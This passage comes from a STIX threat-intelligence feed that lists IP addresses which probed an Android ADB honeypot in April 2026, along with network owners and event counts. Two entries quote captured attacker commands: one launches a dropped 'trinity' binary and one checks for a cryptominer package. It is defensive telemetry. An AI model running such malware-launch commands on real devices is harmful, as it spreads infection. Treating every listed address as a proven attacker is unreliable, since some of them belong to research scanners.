          "first_seen": "2026-04-04T22:03:26.000Z",
          "last_seen": "2026-04-04T22:19:20.833Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-04T23:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=GB; asn=25369; asn_org=Hydra Communications Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-04T22:03:31.000Z | last_seen=2026-04-04T22:19:29.763Z | ports=5555 | cc=GB | asn=25369 | org=Hydra Communications Ltd",
      "id": "indicator--5d1dc2c3-cb8f-4ce9-ae20-ac0b4f09d187",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T23:00:23.000Z",
      "valid_until": "2026-05-06T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-04T22:03:31.000Z",
          "last_seen": "2026-04-04T22:19:29.763Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "25369"
          ],
          "org": [
            "Hydra Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=CO; asn=27951; asn_org=Media Commerce Partners S.A; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-04T23:52:31.000Z | last_seen=2026-04-05T00:02:33.918Z | ports=5555 | cc=CO | asn=27951 | org=Media Commerce Partners S.A",
      "id": "indicator--a0346465-7bff-4645-acaf-df21e01a9abb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '181.118.147.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:00:02.000Z",
      "valid_until": "2026-05-07T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-04T23:52:31.000Z",
          "last_seen": "2026-04-05T00:02:33.918Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CO"
          ],
          "asn": [
            "27951"
          ],
          "org": [
            "Media Commerce Partners S.A"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T01:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=20 | first_seen=2026-04-05T00:47:49.000Z | last_seen=2026-04-05T00:58:05.535Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--fbcef2b6-2452-4585-af2b-113b47647699",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.55.214.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:00:02.000Z",
      "valid_until": "2026-05-07T01:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 20,
          "first_seen": "2026-04-05T00:47:49.000Z",
          "last_seen": "2026-04-05T00:58:05.535Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=20; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=51 | first_seen=2026-04-05T01:48:54.000Z | last_seen=2026-04-05T02:00:51.747Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--e3570636-82c2-4667-bdcb-45f92aa4faef",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '119.203.55.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:00:02.000Z",
      "valid_until": "2026-05-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 51,
          "first_seen": "2026-04-05T01:48:54.000Z",
          "last_seen": "2026-04-05T02:00:51.747Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-05T01:13:43.000Z | last_seen=2026-04-05T01:38:38.027Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--58822a82-84ea-470b-a2d8-1dcacdfb2689",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.209.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:00:02.000Z",
      "valid_until": "2026-05-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-05T01:13:43.000Z",
          "last_seen": "2026-04-05T01:38:38.027Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-05T01:20:48.000Z | last_seen=2026-04-28T14:03:32.634Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:00:02.000Z",
      "valid_until": "2026-05-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-05T01:20:48.000Z",
          "last_seen": "2026-04-28T14:03:32.634Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-05T01:19:18.000Z | last_seen=2026-04-05T01:20:27.230Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--3c7ce530-7b3d-4608-9886-5c93f240720d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:00:02.000Z",
      "valid_until": "2026-05-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-05T01:19:18.000Z",
          "last_seen": "2026-04-05T01:20:27.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-05T02:56:48.000Z | last_seen=2026-04-05T02:58:05.495Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:00:03.000Z",
      "valid_until": "2026-05-07T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-05T02:56:48.000Z",
          "last_seen": "2026-04-05T02:58:05.495Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-05T03:23:11.000Z | last_seen=2026-04-05T03:24:13.159Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--af51f86d-0d3a-43f0-aa5b-aadecc547e79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:00:03.000Z",
      "valid_until": "2026-05-07T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-05T03:23:11.000Z",
          "last_seen": "2026-04-05T03:24:13.159Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-05T04:04:11.000Z | last_seen=2026-04-05T04:05:51.326Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--b4f85266-4526-4333-ae56-a9a61a0a44c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:00:02.000Z",
      "valid_until": "2026-05-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-05T04:04:11.000Z",
          "last_seen": "2026-04-05T04:05:51.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-05T04:12:03.000Z | last_seen=2026-04-05T04:30:27.313Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited",
      "id": "indicator--9b82bd59-422e-4e09-9d96-478b29350c17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.19.251.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:00:02.000Z",
      "valid_until": "2026-05-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-05T04:12:03.000Z",
          "last_seen": "2026-04-05T04:30:27.313Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=54; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=54 | first_seen=2026-04-05T04:14:33.000Z | last_seen=2026-04-05T04:25:21.814Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--95249dee-4233-4894-bdf4-e59028998d06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T05:00:02.000Z",
      "valid_until": "2026-05-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 54,
          "first_seen": "2026-04-05T04:14:33.000Z",
          "last_seen": "2026-04-05T04:25:21.814Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-05T05:08:25.000Z | last_seen=2026-04-05T05:19:12.545Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T06:00:02.000Z",
      "valid_until": "2026-05-07T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-05T05:08:25.000Z",
          "last_seen": "2026-04-05T05:19:12.545Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=RU; asn=205784; asn_org=NV Telecom LLC; adb_cmd_hits=0; cmd=\"pm path com.ufo.miner\"\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-05T05:34:20.000Z | last_seen=2026-04-05T05:49:52.918Z | ports=5555 | cc=RU | asn=205784 | org=NV Telecom LLC",
      "id": "indicator--3cc516e0-4155-4360-8b71-d0adb254a6b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '94.142.248.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T06:00:02.000Z",
      "valid_until": "2026-05-07T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-05T05:34:20.000Z",
          "last_seen": "2026-04-05T05:49:52.918Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "205784"
          ],
          "org": [
            "NV Telecom LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=30; ports=5555; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=30 | first_seen=2026-04-05T10:35:01.000Z | last_seen=2026-04-05T10:50:47.687Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3982f70e-0eb1-4eb0-9975-b51d5fa5cfce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:00:03.000Z",
      "valid_until": "2026-05-07T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 30,
          "first_seen": "2026-04-05T10:35:01.000Z",
          "last_seen": "2026-04-05T10:50:47.687Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=KZ; asn=200590; asn_org=NLS Kazakhstan LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-05T10:33:15.000Z | last_seen=2026-04-05T10:43:18.793Z | ports=5555 | cc=KZ | asn=200590 | org=NLS Kazakhstan LLC",
      "id": "indicator--8864c8f4-b22c-42d2-88b4-c75e8660232f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.121.125.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:00:03.000Z",
      "valid_until": "2026-05-07T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-05T10:33:15.000Z",
